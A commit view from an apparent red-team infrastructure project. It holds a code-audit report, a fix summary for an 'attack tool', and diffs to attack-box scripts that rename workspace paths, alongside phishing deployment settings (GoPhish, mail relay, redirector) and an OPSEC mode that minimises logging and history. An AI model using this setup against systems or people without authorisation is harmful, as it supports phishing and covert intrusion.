total_cost += node_cost(provider, instance, hours)
```
**Impact**: Cost estimates 1.5-2x too high for non-aligned IP counts; may oversell capacity planning.
- [ ] **[MEDIUM] [node_scanner.py:225-239]** Import inside function — `import yaml` at line 232 | Sources: code-auditor | Effort: XS | Status: NOT FIXED
**Description**: `import yaml` appears inside `scan_geo_scout()` function. Move to top-level imports for clarity and consistency.
**Fix**: Add `import yaml` to line 16 (after `ET` import), remove line 232.
---
### P3 — Fix This Month
- [ ] **[MEDIUM] [node_scanner.py:21-23]** `print()` in production code — `log()` function uses `print()` | Sources: code-auditor | Effort: S | Status: NOT FIXED
**Description**: Line 23 calls `print()` directly. Should use Python `logging` module or Rich (per c2itall style guide).
**Fix**: Replace `log()` function with logging.info or Rich console output for consistency.
- [ ] **[LOW] [node_scanner.py:139-192]** Unused parameter `node_name` — passed to all scan_* functions but never used | Sources: code-auditor | Effort: XS | Status: NOT FIXED
**Description**: Parameter `node_name` appears in `scan_masscan_only()`, `scan_nmap_only()`, `scan_masscan_nmap()`, `scan_geo_scout()` signatures but is not referenced in function bodies. These functions don't write node metadata to results.
**Assessment**: Intentionally kept for interface consistency (caller always passes it, avoids conditional logic).
**Fix**: Document as "reserved for future node metadata logging" or remove for clarity. Non-blocking.
- [ ] **[LOW] [provider_rates.py:76-88]** Comment ambiguity — Tor multiplier description misleading | Sources: code-auditor | Effort: XS | Status: NOT FIXED
**Description**: Line 86 comment says "Tor adds ~5x latency overhead" but line 88 sets `TOR_RATE_MULTIPLIER = 0.2` (which is 1/5, not 5x). Comment is correct in spirit but confusingly worded.
**Fix**: Change comment to "Tor reduces throughput to 1/5 (0.2x)" or "multiplier 0.2 ≈ 5x latency".
---
### P4 — Backlog
- [ ] **[LOW] [provider_rates.py:57]** Magic number 0.018 — Linode default rate hardcoded | Status: NOT FIXED
**Description**: Line 7 (`'g6-standard-2': 0.018`) and line 67 (fallback rate) hardcode 0.018. Should be named constant.
**Fix**: Add `DEFAULT_INSTANCE_RATE = 0.018` and reference it.
- [ ] **[LOW] [node_scanner.py]** Missing docstrings — module + function docstrings absent | Status: NOT FIXED
**Description**: Module docstring present (line 2-4) but individual functions lack docstrings. Low impact — code is self-documenting.
---
## Deduplication Notes
- **Socket leak risk (probe_service)**: Marked as false alarm in code-auditor; context manager guarantees cleanup. No action needed.
- **Thread safety (run_nmap concurrent writes)**: Verified safe — per-IP XML files unique (`nmap_{ip.replace('.', '_')}.xml`). No collision risk.
- **XXE/entity expansion in ET.parse()**: PASS — ET default config disables external entity expansion. nmap output is trusted. No action needed.
- **Resource exhaustion (socket connections)**: MEDIUM severity in security-auditor. Noted as acceptable risk for current sequential structure. ThreadPoolExecutor 10-worker design with 3-second socket timeout is within system limits. Semaphore capping recommended for future scaling but not blocking.
---
## Action Items
### Critical Path (Block #980 deployment):
1. **run_scan.yml**: Convert Ansible `command:` module to list form OR validate node_name upstream
2. **provider_rates.py**: Fix partial-chunk cost calculation in `build_estimate_table()`
### Nice-to-have (P3-P4):
- Move `import yaml` to top level
- Replace `print()` with logging/Rich
- Add Tor multiplier comment clarity
- Extract 0.018 magic number to constant
---
## Test Coverage
- Unit tests for `estimate_scan_hours()` with partial chunks should verify cost accuracy
- Ansible playbook syntax validation required for run_scan.yml
- Manual integration test with non-aligned IP count (e.g., 2.5M across 2M presets)
-33
View File
@@ -1,33 +0,0 @@
---
devtrack: 989
timestamp: 2026-05-03T00:00:00Z
findings_addressed: 2
findings_skipped: 3
---
# Fix Summary — DevTrack #989
## Applied
### HIGH — Tuning input validation (AUDIT_SEC_989#1)
**File:** `modules/webrunner/deploy_webrunner.py:181-195`
**Fix:** `_prompt()` now clamps non-positive values to the default and warns the operator. Applies to all tuning keys (masscan_rate, nmap_timing, nmap_timeout, nmap_workers, nuclei_rate, nuclei_concurrency, nuclei_timeout) regardless of whether the value came from interactive input or a vars file.
**Verification:** Engine math also has floors (`max(nmap_workers, 1)`, `max(min(...), 1.0)` in nuclei throughput, `if rate <= 0: return PROVISION_OVERHEAD_HOURS`), so even pre-fix garbage in produced sane numbers — but operator's displayed tuning would have been wrong. Now the displayed and computed values match.
### P3 — Dead code removal (AUDIT_CODE_989#3)
**File:** `modules/webrunner/deploy_webrunner.py:195-196`
**Fix:** Removed the empty `if scan_mode in (...): pass` placeholder that was a refactor leftover. masscan_rate is already prompted unconditionally above.
## Skipped (with justification)
### MEDIUM — Tor warning phrasing (AUDIT_SEC_989#2)
Auditor suggested rewording the masscan-Tor warning. Existing text already states "raw sockets bypass proxychains entirely" and "use 'nmap-only' mode for full Tor coverage" — auditor's suggestion is semantically equivalent. No material improvement.
### MEDIUM — Path traversal in template/yaml file loading (AUDIT_SEC_989#3)
False positive for this threat model. Webrunner is a single-operator attack tool, not multi-tenant. The "attack vector" of "operator supplies malicious vars file pointing at /etc/passwd" doesn't apply — the operator IS the trusted party and runs the tool on their own machine. They can already read any file they want. Adding path restriction would just frustrate legitimate workflows (e.g., operator's nuclei templates are typically in `~/templates/` outside the WEBRUNNER_INPUTS dir). YAML uses `safe_load` so no code execution. The file content goes only to the operator's stdout, not to a remote server.
### LOW — Estimate display discloses scope (AUDIT_SEC_989#5)
Interactive console output to the operator. Not logged externally. Operator chose to run the tool. Suppression flag is overkill for a tool with one user.
## Gate Review Status
Ready for gate-reviewer. No P1 or unaddressed HIGH findings remain.
+3 -3
View File
@@ -172,7 +172,7 @@ def gather_attack_box_parameters(attack_box_type="kali"):
if config['enhanced_opsec']: if config['enhanced_opsec']:
print(f"{COLORS['YELLOW']}🔒 Enhanced OPSEC mode enabled:{COLORS['RESET']}") print(f"{COLORS['YELLOW']}🔒 Enhanced OPSEC mode enabled:{COLORS['RESET']}")
print(f" • Working directory: /root/{config['deployment_id']} (not 'operator')") print(f" • Working directory: /root/{config['deployment_id']} (not 'dmealey')")
print(f" • No 'trashpanda' references in files or aliases") print(f" • No 'trashpanda' references in files or aliases")
print(f" • Generic script names and comments") print(f" • Generic script names and comments")
print(f" • Minimal logging and history") print(f" • Minimal logging and history")
@@ -182,9 +182,9 @@ def gather_attack_box_parameters(attack_box_type="kali"):
config['project_name'] = config['deployment_id'] config['project_name'] = config['deployment_id']
else: else:
print(f"{COLORS['CYAN']}💡 Standard mode - using TrashPanda branding and structure{COLORS['RESET']}") print(f"{COLORS['CYAN']}💡 Standard mode - using TrashPanda branding and structure{COLORS['RESET']}")
config['work_dir'] = "/root/operator" config['work_dir'] = "/root/dmealey"
config['tool_name'] = "trashpanda" config['tool_name'] = "trashpanda"
config['project_name'] = "operator" config['project_name'] = "dmealey"
# Check for global auto-teardown flag # Check for global auto-teardown flag
global_auto_teardown = os.environ.get('C2ITALL_AUTO_TEARDOWN', '').lower() == 'true' global_auto_teardown = os.environ.get('C2ITALL_AUTO_TEARDOWN', '').lower() == 'true'
+16 -16
View File
@@ -3,9 +3,9 @@
# Attack Box Setup Information # Attack Box Setup Information
ATTACK_BOX_VERSION="1.0.0" ATTACK_BOX_VERSION="1.0.0"
WORKSPACE_DIR="/root/operator" WORKSPACE_DIR="/root/dmealey"
SCRIPTS_DIR="/root/operator/tools/scripts" SCRIPTS_DIR="/root/dmealey/tools/scripts"
TOOLS_DIR="/root/operator/tools" TOOLS_DIR="/root/dmealey/tools"
# Available Commands # Available Commands
echo "Attack Box Commands:" echo "Attack Box Commands:"
@@ -14,23 +14,23 @@ echo "recon <target> - Run reconnaissance automation"
echo "portscan <target> - Run port scan automation" echo "portscan <target> - Run port scan automation"
echo "webenum <target> - Run web enumeration automation" echo "webenum <target> - Run web enumeration automation"
echo "attack-menu - Launch manual testing menu" echo "attack-menu - Launch manual testing menu"
echo "operator - Change to main directory" echo "dmealey - Change to main directory"
echo "mkoperator <name> - Create new engagement structure" echo "mkdmealey <name> - Create new engagement structure"
echo "" echo ""
echo "Workspace Structure:" echo "Workspace Structure:"
echo "===================" echo "==================="
echo "~/operator/tools/ - All security tools and scripts" echo "~/dmealey/tools/ - All security tools and scripts"
echo "~/operator/scans/ - All scan results organized by type" echo "~/dmealey/scans/ - All scan results organized by type"
echo "~/operator/loot/ - Extracted data and credentials" echo "~/dmealey/loot/ - Extracted data and credentials"
echo "~/operator/targets/ - Target lists and reconnaissance" echo "~/dmealey/targets/ - Target lists and reconnaissance"
echo "~/operator/notes/ - Manual notes and observations" echo "~/dmealey/notes/ - Manual notes and observations"
echo "~/operator/reports/ - Documentation and reporting" echo "~/dmealey/reports/ - Documentation and reporting"
echo "~/operator/exploits/ - Working exploits and POCs" echo "~/dmealey/exploits/ - Working exploits and POCs"
echo "~/operator/payloads/ - Custom payloads and shells" echo "~/dmealey/payloads/ - Custom payloads and shells"
echo "~/operator/wordlists/ - Custom and downloaded wordlists" echo "~/dmealey/wordlists/ - Custom and downloaded wordlists"
echo "~/operator/pcaps/ - Network captures and analysis" echo "~/dmealey/pcaps/ - Network captures and analysis"
echo "" echo ""
echo "Trashpanda-style Directory Structure:" echo "Trashpanda-style Directory Structure:"
echo "=====================================" echo "====================================="
echo "The operator directory follows the exact structure as TrashPanda tool" echo "The dmealey directory follows the exact structure as TrashPanda tool"
echo "with organized subdirectories for different scan types and data." echo "with organized subdirectories for different scan types and data."
@@ -2,8 +2,8 @@
# Attack Box - Git Repositories Cloning Script # Attack Box - Git Repositories Cloning Script
# Clones security tool repositories with enhanced feedback # Clones security tool repositories with enhanced feedback
# Get OPERATOR_DIR from environment or use default # Get DMEALEY_DIR from environment or use default
OPERATOR_DIR="${OPERATOR_DIR:-/root/operator}" DMEALEY_DIR="${DMEALEY_DIR:-/root/dmealey}"
echo "================================================================" echo "================================================================"
echo "GIT REPOSITORIES CLONING STARTED" echo "GIT REPOSITORIES CLONING STARTED"
@@ -61,8 +61,8 @@ FAILED=0
SUCCESS=0 SUCCESS=0
# Create git directory if it doesn't exist # Create git directory if it doesn't exist
mkdir -p "$OPERATOR_DIR/tools/git" mkdir -p "$DMEALEY_DIR/tools/git"
cd "$OPERATOR_DIR/tools/git" cd "$DMEALEY_DIR/tools/git"
for i in "${!REPOS[@]}"; do for i in "${!REPOS[@]}"; do
CURRENT=$((CURRENT + 1)) CURRENT=$((CURRENT + 1))
@@ -117,6 +117,6 @@ echo "Failed: $FAILED"
echo "Success rate: $(( SUCCESS * 100 / TOTAL ))%" echo "Success rate: $(( SUCCESS * 100 / TOTAL ))%"
echo "" echo ""
echo "Cloned repositories:" echo "Cloned repositories:"
ls -la "$OPERATOR_DIR/tools/git/" | head -20 ls -la "$DMEALEY_DIR/tools/git/" | head -20
exit 0 exit 0
+3 -3
View File
@@ -2,10 +2,10 @@
# Attack Box - Go Tools Installation Script # Attack Box - Go Tools Installation Script
# Installs security tools via go install with enhanced feedback # Installs security tools via go install with enhanced feedback
# Get OPERATOR_DIR from environment or use default # Get DMEALEY_DIR from environment or use default
OPERATOR_DIR="${OPERATOR_DIR:-/root/operator}" DMEALEY_DIR="${DMEALEY_DIR:-/root/dmealey}"
export GOPATH="$OPERATOR_DIR/tools/go" export GOPATH="$DMEALEY_DIR/tools/go"
export PATH="/root/.local/bin:/usr/local/go/bin:$GOPATH/bin:$PATH" export PATH="/root/.local/bin:/usr/local/go/bin:$GOPATH/bin:$PATH"
mkdir -p "$GOPATH" mkdir -p "$GOPATH"
@@ -237,8 +237,8 @@ automated_recon() {
echo -ne "Enter target domain/IP: " echo -ne "Enter target domain/IP: "
read -r target read -r target
echo -e "${GREEN}[+] Executing recon automation script...${NC}" echo -e "${GREEN}[+] Executing recon automation script...${NC}"
if [ -f "/root/operator/tools/scripts/recon_automation.sh" ]; then if [ -f "/root/dmealey/tools/scripts/recon_automation.sh" ]; then
/root/operator/tools/scripts/recon_automation.sh "$target" /root/dmealey/tools/scripts/recon_automation.sh "$target"
else else
echo -e "${RED}[-] Recon automation script not found!${NC}" echo -e "${RED}[-] Recon automation script not found!${NC}"
fi fi
@@ -252,8 +252,8 @@ automated_port_scan() {
echo -ne "Enter target IP/range: " echo -ne "Enter target IP/range: "
read -r target read -r target
echo -e "${GREEN}[+] Executing port scan automation script...${NC}" echo -e "${GREEN}[+] Executing port scan automation script...${NC}"
if [ -f "/root/operator/tools/scripts/port_scan_automation.sh" ]; then if [ -f "/root/dmealey/tools/scripts/port_scan_automation.sh" ]; then
/root/operator/tools/scripts/port_scan_automation.sh "$target" /root/dmealey/tools/scripts/port_scan_automation.sh "$target"
else else
echo -e "${RED}[-] Port scan automation script not found!${NC}" echo -e "${RED}[-] Port scan automation script not found!${NC}"
fi fi
@@ -267,8 +267,8 @@ automated_web_enum() {
echo -ne "Enter target URL: " echo -ne "Enter target URL: "
read -r url read -r url
echo -e "${GREEN}[+] Executing web enumeration automation script...${NC}" echo -e "${GREEN}[+] Executing web enumeration automation script...${NC}"
if [ -f "/root/operator/tools/scripts/web_enum_automation.sh" ]; then if [ -f "/root/dmealey/tools/scripts/web_enum_automation.sh" ]; then
/root/operator/tools/scripts/web_enum_automation.sh "$url" /root/dmealey/tools/scripts/web_enum_automation.sh "$url"
else else
echo -e "${RED}[-] Web enumeration automation script not found!${NC}" echo -e "${RED}[-] Web enumeration automation script not found!${NC}"
fi fi
@@ -309,7 +309,7 @@ generate_reports() {
echo -e "${GREEN}========================================${NC}" echo -e "${GREEN}========================================${NC}"
echo echo
WORKSPACE="/root/operator" WORKSPACE="/root/dmealey"
DATE=$(date +%Y%m%d_%H%M%S) DATE=$(date +%Y%m%d_%H%M%S)
REPORT_DIR="$WORKSPACE/reports/manual_testing_$DATE" REPORT_DIR="$WORKSPACE/reports/manual_testing_$DATE"
@@ -385,8 +385,8 @@ if [[ $EUID -eq 0 ]]; then
sleep 2 sleep 2
fi fi
# Create operator structure if it doesn't exist # Create dmealey structure if it doesn't exist
mkdir -p "/root/operator/"{tools,scans,logs,loot,payloads,targets,screenshots,reports,notes,exploits,wordlists,pcaps} mkdir -p "/root/dmealey/"{tools,scans,logs,loot,payloads,targets,screenshots,reports,notes,exploits,wordlists,pcaps}
# Start the main menu # Start the main menu
main main
@@ -13,7 +13,7 @@ fi
TARGET="$1" TARGET="$1"
SCAN_TYPE="${2:-quick}" SCAN_TYPE="${2:-quick}"
WORKSPACE="/root/operator/scans/nmap/$TARGET" WORKSPACE="/root/dmealey/scans/nmap/$TARGET"
DATE=$(date +%Y%m%d_%H%M%S) DATE=$(date +%Y%m%d_%H%M%S)
# Colors for output # Colors for output
+1 -1
View File
@@ -11,7 +11,7 @@ if [ $# -eq 0 ]; then
fi fi
TARGET="$1" TARGET="$1"
WORKSPACE="/root/operator/scans/reachability/$TARGET" WORKSPACE="/root/dmealey/scans/reachability/$TARGET"
DATE=$(date +%Y%m%d_%H%M%S) DATE=$(date +%Y%m%d_%H%M%S)
# Colors for output # Colors for output
+2 -2
View File
@@ -15,8 +15,8 @@ if [ -n "$1" ]; then
WORK_DIR="$1" WORK_DIR="$1"
else else
# Auto-detect working directory # Auto-detect working directory
if [ -d "/root/operator" ]; then if [ -d "/root/dmealey" ]; then
WORK_DIR="/root/operator" WORK_DIR="/root/dmealey"
else else
# Find deployment-named directory # Find deployment-named directory
WORK_DIR=$(find /root -maxdepth 1 -type d -name "*[a-z]*[a-z]*" 2>/dev/null | head -1) WORK_DIR=$(find /root -maxdepth 1 -type d -name "*[a-z]*[a-z]*" 2>/dev/null | head -1)
+4 -4
View File
@@ -207,7 +207,7 @@ def print_banner():
""" """
print(banner) print(banner)
def create_pentest_structure(base_name="/root/operator"): def create_pentest_structure(base_name="/root/dmealey"):
"""Create a comprehensive penetration testing directory structure.""" """Create a comprehensive penetration testing directory structure."""
# Main engagement directory # Main engagement directory
@@ -301,7 +301,7 @@ def create_pentest_structure(base_name="/root/operator"):
f.write(f"TrashPanda Engagement Log\n") f.write(f"TrashPanda Engagement Log\n")
f.write(f"========================\n") f.write(f"========================\n")
f.write(f"Started: {time.strftime('%Y-%m-%d %H:%M:%S')}\n") f.write(f"Started: {time.strftime('%Y-%m-%d %H:%M:%S')}\n")
f.write(f"Operator: operator\n") f.write(f"Operator: dmealey\n")
f.write(f"Tool: TrashPanda v2.4\n\n") f.write(f"Tool: TrashPanda v2.4\n\n")
# Create initial target file # Create initial target file
@@ -3044,7 +3044,7 @@ def generate_summary_report(base_dir):
f.write("TRASHPANDA COMPREHENSIVE PENETRATION TESTING REPORT\n") f.write("TRASHPANDA COMPREHENSIVE PENETRATION TESTING REPORT\n")
f.write("=" * 80 + "\n\n") f.write("=" * 80 + "\n\n")
f.write(f"Generated: {time.strftime('%Y-%m-%d %H:%M:%S')}\n") f.write(f"Generated: {time.strftime('%Y-%m-%d %H:%M:%S')}\n")
f.write(f"Operator: operator\n") f.write(f"Operator: dmealey\n")
f.write(f"Engagement Directory: {base_dir}\n\n") f.write(f"Engagement Directory: {base_dir}\n\n")
# Enhanced directory structure overview # Enhanced directory structure overview
@@ -3153,7 +3153,7 @@ Examples:
parser.add_argument("targets", nargs='?', help="Target file, IP, IP range, or CIDR") parser.add_argument("targets", nargs='?', help="Target file, IP, IP range, or CIDR")
# Directory options # Directory options
parser.add_argument("-d", "--directory", help="Engagement directory name", default="/root/operator") parser.add_argument("-d", "--directory", help="Engagement directory name", default="/root/dmealey")
parser.add_argument("-c", "--create-dirs", action="store_true", help="Only create directory structure and exit") parser.add_argument("-c", "--create-dirs", action="store_true", help="Only create directory structure and exit")
# Scan modes # Scan modes
@@ -7,14 +7,14 @@ set -e
if [ $# -eq 0 ]; then if [ $# -eq 0 ]; then
echo "Usage: $0 <target_url>" echo "Usage: $0 <target_url>"
echo "Example: $0 https://example.com" echo "Example: $0 https://example.com"
echo " $0 http://10.0.0.100:8080" echo " $0 http://192.168.1.100:8080"
exit 1 exit 1
fi fi
TARGET_URL="$1" TARGET_URL="$1"
# Extract domain/IP for workspace naming # Extract domain/IP for workspace naming
TARGET_CLEAN=$(echo "$TARGET_URL" | sed 's|https\?://||g' | sed 's|/.*||g' | tr ':' '_') TARGET_CLEAN=$(echo "$TARGET_URL" | sed 's|https\?://||g' | sed 's|/.*||g' | tr ':' '_')
WORKSPACE="/root/operator/scans/web/$TARGET_CLEAN" WORKSPACE="/root/dmealey/scans/web/$TARGET_CLEAN"
DATE=$(date +%Y%m%d_%H%M%S) DATE=$(date +%Y%m%d_%H%M%S)
# Colors for output # Colors for output
@@ -8,7 +8,7 @@ import os
import time import time
from pathlib import Path from pathlib import Path
def create_workspace_structure(base_name="/root/operator", operator="operator"): def create_workspace_structure(base_name="/root/dmealey", operator="operator"):
"""Create a comprehensive penetration testing directory structure like trashpanda.""" """Create a comprehensive penetration testing directory structure like trashpanda."""
# Main engagement directory # Main engagement directory
@@ -227,7 +227,7 @@ if __name__ == "__main__":
if len(sys.argv) > 1: if len(sys.argv) > 1:
workspace_name = sys.argv[1] workspace_name = sys.argv[1]
else: else:
workspace_name = f"/root/operator" workspace_name = f"/root/dmealey"
operator = getpass.getuser() operator = getpass.getuser()
create_workspace_structure(workspace_name, operator) create_workspace_structure(workspace_name, operator)
@@ -468,7 +468,7 @@
# Add targets one per line in various formats: # Add targets one per line in various formats:
# #
# Individual IPs: # Individual IPs:
# 10.0.0.10 # 192.168.1.10
# 10.0.0.5 # 10.0.0.5
# #
# IP Ranges: # IP Ranges:
+4 -4
View File
@@ -55,9 +55,9 @@
- name: Set deployment results - name: Set deployment results
set_fact: set_fact:
phishing_deployment_results: phishing_deployment_results:
gophish_ip: "{{ '10.0.0.10' if 'gophish' in deployment_components else '' }}" gophish_ip: "{{ gophish_ip | default('') }}"
mta_ip: "{{ '10.0.0.11' if 'mta_front' in deployment_components else '' }}" mta_ip: "{{ mta_ip | default('') }}"
redirector_ip: "{{ '10.0.0.12' if 'redirector' in deployment_components else '' }}" redirector_ip: "{{ redirector_ip | default('') }}"
webserver_ip: "{{ '10.0.0.13' if 'webserver' in deployment_components else '' }}" webserver_ip: "{{ webserver_ip | default('') }}"
deployment_id: "{{ deployment_id }}" deployment_id: "{{ deployment_id }}"
domain: "{{ phishing_domain | default(domain) }}" domain: "{{ phishing_domain | default(domain) }}"
+1 -1
View File
@@ -41,5 +41,5 @@ domain: "example.com"
mail_hostname: "mail.example.com" mail_hostname: "mail.example.com"
letsencrypt_email: "admin@example.com" letsencrypt_email: "admin@example.com"
smtp_auth_user: "phishuser" smtp_auth_user: "phishuser"
smtp_auth_pass: "SuperSecretPass123!" smtp_auth_pass: "CHANGE_ME"
gophish_admin_port: "2222" gophish_admin_port: "2222"
+1 -1
View File
@@ -11,7 +11,7 @@ def load_word_list(filename):
"""Load words from a text file, one word per line""" """Load words from a text file, one word per line"""
try: try:
# Check if we have FourEyes word lists # Check if we have FourEyes word lists
foureyes_path = "/home/n0mad1k/Tools/FourEyes" foureyes_path = os.environ.get('FOUREYES_PATH', '')
if os.path.exists(foureyes_path): if os.path.exists(foureyes_path):
file_path = os.path.join(foureyes_path, filename) file_path = os.path.join(foureyes_path, filename)
if os.path.exists(file_path): if os.path.exists(file_path):